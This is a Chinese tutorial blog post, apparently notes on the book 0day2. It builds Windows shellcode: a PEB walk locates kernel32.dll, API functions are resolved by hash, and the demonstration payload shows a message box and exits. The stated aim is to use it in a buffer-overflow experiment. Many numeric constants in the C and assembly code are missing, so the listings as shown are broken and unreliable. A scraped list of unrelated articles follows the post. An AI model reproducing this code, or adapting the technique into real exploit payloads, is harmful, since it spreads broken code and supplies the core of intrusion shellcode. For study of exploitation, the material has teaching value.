旧书重温:0day2【4】动态获取函数地址
通过以上3篇文章的学习,我们已经可以获取到kernel32.dll的地址了下一步 我们就是获取几个重要的函数
1.GetProcAddress 2.LoadLibrary 有了这两个函数很多函数都可以找到了,这节的目的最终就是找到这两个函数,为了便于测试和验证我们还要动态获取下MessageBoxA函数,最后弹出个对话窗口,还要安全退出那就要用到ExitProcess。
那么咱们就结合0day2第三章的知识,通过hash来查找的相应的函数名称,再间接获取函数地址
首先我们先来找到hash
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
DWORD GetHash(char *fname)
{
printf("%s",fname);
DWORD dret = ;
while(*fname)
{
dret = ((dret<<)|(dret>>));
dret += *fname;
fname++;
}
printf(" function`s hash is %.8x\n",dret);
return dret;
}
int main(int argc, char* argv[])
{
//char fname[]={"MessageBoxA"};
//DWORD dret = GetHash(fname);
Gethash("ExitProcess");
GetHash("MessageBoxA");
GetHash("LoadLibraryA");
GetHash("GetProcAddress");
return ;
}
MessageBoxA function`s hash is 1e380a6a
ExitProcess function`s hash is 4fd18963
LoadLibraryA function`s hash is 0c917432
GetProcAddress function`s hash is bbafdf85
代码执行结果。
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
mov ebx,fs:[0x30]
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
mov ecx,[ecx] // 获取地2个链表
mov ecx,[ecx] // 获取第三个链表 win7 下必须加这一行, xp下注释这行
mov ebp,[ecx +0x08] find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
以上代码可以在win7下成功运行,只是不兼容xp,xp下测试要注释掉31行处。
所以我们还得想办法。
解决xp win7兼容问题,以下代码来自看雪 http://bbs.pediy.com/showthread.php?t=122260&highlight=next_module 感谢cryin
但非常可惜的是这种方法在Win7下是不适用的,所以很高兴现在给大家分享国外网站上看到的一种新的方法来定位kernel32.dl的基地址,该方法可以在所有windows版本上适用!这种方法通过在InInitializationOrderModuleList中查找kernel32.dll模块名称的长度来定位它的基地址,因为"kernel32.dll"的最后一个字符为"\0"结束符。所以倘若模块最后一个字节为"\0"即可定位kernel32.dll的地址; 具体代码实现方法:
;find kernel32.dll
find_kernel32:
push esi
xor ecx, ecx
mov esi, [fs:ecx+0x30]
mov esi, [esi + 0x0c]
mov esi, [esi + 0x1c]
next_module:
mov eax, [esi + 0x8]
mov edi,[esi+0x20]
mov esi ,[esi]
cmp [edi+12*2],cx //判断下 12 字符处是否为字符串结尾, kernel32.dll 就是12个长度
jne next_module
pop esi
Ret
经过改造和测试(xp win7下测试通过的代码)的汇编代码
// 兼容win7 xp 的获取kernel32.dll地址,查找所需函数并弹窗的测试
_asm
{
nop
nop
nop
nop
CLD // clear flag DF
push 0x1e380a6a //msg hash
push 0x4fd18963 // exit hash
push 0x0c917432 //LoadL hash
//push 0xbbafdf85 //GetProc hash
mov esi,esp //esi = addr of first function GetProc`s addr
lea edi,[esi+0x0c] //edi = addr of last function msg`s addr // make some stack space to protect hash list xor ebx,ebx //ebx = 0
mov bh,0x04
sub esp,ebx //esp-0x400 抬高堆栈 保护hash list //push pointer to user32 onto stack
mov bx,0x3233 //
push ebx
push 0x72657375 //resu
push esp
xor edx,edx //find base addr of kernel32dll
find_kernel32:
mov ebx,fs:[edx + 0x30] // 加上这个 edx 可以缩短shellcode长度,还没有00
mov ecx,[ebx +0x0c]
mov ecx,[ecx +0x1c] // dll链表
//mov ecx,[ecx] // 获取地2个链表
//mov ecx,[ecx] // 获取第三个链表
push edi
push esi
next_module: mov ebp,[ecx +0x08] // dll 的地址
mov edi,[ecx+0x20] // AddressOfNames
mov ecx,[ecx]
cmp [edi+*],dx
jne next_module pop esi
pop edi find_lib_functions: lodsd //esi 所指定的字符 传送如eax
cmp eax,0x1e380a6a jne find_functions
xchg eax,ebp
call [edi - 0x8]
xchg eax,ebp find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi next_function_loop:
inc edi
mov esi,[ebx+edi*]
add esi,ebp
cdq hash_loop:
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash
ror edx,
add edx,eax
inc esi
jmp hash_loop compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x1e380a6a
jne find_lib_functions function_call:
xor ebx,ebx
push ebx
push 0x61616161
push 0x62626262
mov eax,esp
push ebx
push eax
push eax
push ebx
call [edi-0x04]
push ebx
call [edi-0x08]
nop
nop
nop
nop
}
此代码兼容xp_win7 弹窗
接下来我们 提取shellcode,并结合第一节课,做成功溢出的实验
感谢 failwest、cryin
----------------------------------------------------
| QQ252738331
| Q群: 104132152(群名称是缓冲区溢出|汇编|逆向)
----------------------------------------------------
旧书重温:0day2【4】动态获取函数地址的更多相关文章
- .Net CLR GC动态获取函数头地址,C++的骚操作(慎入)
前言: 太懒了,从没有在这里正儿八经的写过文章.看到一些人的高产,真是惭愧.决定稍微变得不那么懒.如有疏漏,请指正. .net的GC都谈的很多了,本篇主要是剑走偏锋,聊聊一些个人认为较为核心的细节方面 ...
- php中如何动态获取函数的参数
php动态获取函数参数 一.总结 一句话总结:a.PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 fun ...
- 1. 通过DHCP服务器动态获取IP地址之后无法上网的解决方法
故障:内网正常,在同一个局域网内的其它PC端通过DHCP获取IP地址并且可以正常上网. 1.通过wireshark抓包,使用ipconfig /renew时,wireshark内出现DHCP请求服务, ...
- 001_centos7配置网络动态获取IP地址
笔者今天刚装完centos7的虚拟机,发现无法获取IP地址,经过网上查询资料,发现centos7是默认没有网络配置的,需要手工配置. 而centos7与centos6不同,没有了config命令,所以 ...
- php动态获取函数参数
PHP 在用户自定义函数中支持可变数量的参数列表.其实很简单,只需使用 func_num_args() , func_get_arg() ,和 func_get_args() 函数即可. 可变参数并 ...
- PHP实现动态获取函数参数的方法
1. func_num_args — 返回传入函数的参数总个数 int func_num_args ( void ) 示例 <?php function demo () { $numargs = ...
- FL2440 rt3070模块station模式动态获取IP地址
---------------------------------------------------------------------------------------------------- ...
- 日志系统实战(二)-AOP动态获取运行时数据
介绍 这篇距上一篇已经拖3个月之久了,批评自己下. 通过上篇介绍了解如何利用mono反射代码,可以拿出编译好的静态数据.例如方法参数信息之类的. 但实际情况是往往需要的是运行时的数据,就是用户输入等外 ...
- 使用Mono Cecil 动态获取运行时数据 (Atribute形式 进行注入 用于写Log) [此文报考 xxx is declared in another module and needs to be imported的解决方法]-摘自网络
目录 一:普通写法 二:注入定义 三:Weave函数 四:参数构造 五:业务编写 六:注入调用 7. 怎么调用别的程序集的方法示例 8. [is declared in another module ...
随机推荐
- 练Focus T25必看!T25课表 视频与成功案例汇总
练Focus T25必看!T25课表 视频与成功案例汇总! [复制链接] http://jianfei.39.net/thread-3645799-1.html 小西i减肥 ...
- JS相关方法总计
1. 锚点的使用: 简单使用: <a href="#001">跳到001</a> ...文字省略 <a name="001" id ...
- 002. MySQL复制操作
#### 1.Setting the Replication Master Configuration On a replication master, you must enable binary ...
- Saltstack 命令行:批量覆盖指定文件
master指定文件,覆盖到所有minion命令 salt-cp '*' /etc/hosts /etc/ -------------------------------------------- { ...
- 如何评价一个pipeline的好坏
生物信息NGS相关软件众多. 常用的比对软件:bwa,bowtie: 去pcr重复的软件\:samtools,picard: calling variant:samtools/bcftools,gat ...
- [Usaco2008 Open]Word Power 名字的能量
1622: [Usaco2008 Open]Word Power 名字的能量 Time Limit: 5 Sec Memory Limit: 64 MBSubmit: 408 Solved: 19 ...
- [BZOJ1823]满汉全席
Description 满汉全席是中国最丰盛的宴客菜肴,有许多种不同的材料透过满族或是汉族的料理方式,呈现在數量繁多的菜色之中.由于菜色众多而繁杂,只有极少數博学多闻技艺高超的厨师能够做出满汉全席,而 ...
- hermite插值
Hermite 插值就是要求插值函数不仅经过所给节点,而且要保证在该点的导数也相等.<备注:虽然还不理解这句话,但是还是先放这里!> 所谓样条曲线(Spline Curves)是指给定一组 ...
- 浅谈 django Models中的跨表
跨表操作在数据库操作非常常用,虽然其会降低读取数据的性能,但是它能节约数据在硬盘中的占用,优化数据表的结构和各自之间的关系. 在sql中,一般跨表需要用到 join 关键字 select * from ...
- python学习笔记(pict+subprocess)
这几天看到接口自动化用例的生成,关于这里博主自己也想了想,是否可以根据参数的范围自动生成用例,这样就不用一条一条的写接口测试用例 这里就设计到用例设计的方法,让我想到之前接触过一款微软的用例自动生成工 ...